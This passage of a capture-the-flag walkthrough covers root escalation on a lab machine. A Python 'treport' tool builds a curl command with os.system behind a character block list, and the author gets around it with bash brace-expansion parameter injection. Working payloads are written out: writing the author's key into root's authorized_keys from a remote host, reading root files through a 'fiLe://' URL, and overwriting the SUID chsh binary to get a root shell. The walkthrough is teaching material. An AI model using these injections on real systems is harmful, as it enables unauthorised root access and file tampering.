print(files_in_dir)
def read_file(self):
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
try:
with open(file_name, 'r') as (fd):
contents = fd.read()
except:
print('SOMETHING IS WRONG')
else:
print(contents)
It’s listing the files in /root/reports
, and then prompting for a file to read. Again, it’s looking for ../
in the input file name, so I don’t see a good way to get around that.
Option 3 calls download
:
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
This is particularly interesting because it ends with a os.system
call. There’s three filters applied:
bool(re.search('\\s', ip))
looks for any whitespace in the input, and fails if any is found.- It checks the input for “file”, “gopher” and “mysql” and fails if found.
- It checks the input for a bunch of special characters, and fails if any are found.
Parameter Injection
Background
The first challenge I’ll need to overcome is some way to break commands if I can’t use any whitespace. In the past I’ve used ${IFS}
to replace a space, but $
is blocked.
Luckily, Bash also supports Brace Expansion. I use this all the time with something like:
$ mv file{.sh,.bak}
This expands to:
$ mv file.sh file.bak
Because the command has my input surrounded by spaces, then if I pass in {a,b,c,d}
that’s the same as a b c d
.
While a good number of the special characters are blocked, including the ones I’d need to do command injection, it doesn’t block -
, which means I should look at parameter injection.
The command I’m looking to inject into is:
curl [my input] -o /root/reports/threat_report_[current_time]
I can’t break from the curl
and run some other command, but I can impact the arguments passed to curl
.
Arbitrary File Write
To abuse this to write files, I’ll have curl
fetch a file from my server, and I’ll inject an additional -o
parameter. Because mine will come first, that’s the one curl
will use. For example, if I input {http://10.10.14.6/pub,-o,/root/.ssh/authorized_keys}
, then the command becomes:
curl http://10.10.14.6/pub -o /root/.ssh/authorized_keys -o /root/reports/threat_report_[current_time]
That will write the pub
file to the root authorized_keys
file.
I’ll try it. I’ll put my public key in my web root in a file named pub
. Now I’ll run treport
:
code@code:~$ sudo treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{http://10.10.14.6/pub,-o,/root/.ssh/authorized_keys}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 96 100 96 0 0 524 0 --:--:-- --:--:-- --:--:-- 524
Enter your choice:
There’s a hit on my webserver:
10.10.11.126 - - [06/May/2022 00:57:27] "GET /pub HTTP/1.1" 200 -
And I can SSH as root:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.10.11.126
...[snip]...
root@code:~#
There are other files I could overwrite. /etc/passwd
, /etc/sudoers
, /etc/shadow
all give a way to escalate. Or any SUID binary owned by root (I’ll show this after Arbitrary File Read).
Arbitrary File Read
The code prevents me from using the string file
, presumably because curl
will take a URL that starts with file://
and read a file from the local filesystem.
But the Python check is case sensitive, and curl
doesn’t care. I can combine that with the parameter injection to read files with a payload like:
{fiLe:///root/root.txt,-o-}
This will expand to:
curl fiLe:///root/root.txt -o- -o /root/reports/threat_report_[current_time]
-o-
will write to stdout, so I’ll get the results right in this terminal:
Enter your choice:3
Enter the IP/file_name:{fiLe:///root/root.txt,-o-}
dbb21bbb************************
Read + Write Shell
I can combined these two for another way to get a root shell. I’ll pick a SUID root file like /usr/bin/chsh
(can find them with find / -perm -4000 -user root 2>/dev/null
).
I’ll overwrite that with sh
:
Enter your choice:3
Enter the IP/file_name:{File:///bin/sh,-o,/usr/bin/chsh}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 126k 100 126k 0 0 123M 0 --:--:-- --:--:-- --:--:-- 123M
Enter your choice:
Now I just run chsh -p
(-p
to keep privs from being dropped):
code@code:~$ chsh -p
# id
uid=1000(code) gid=1000(code) euid=0(root) groups=1000(code)
The euid
allows me into /root
.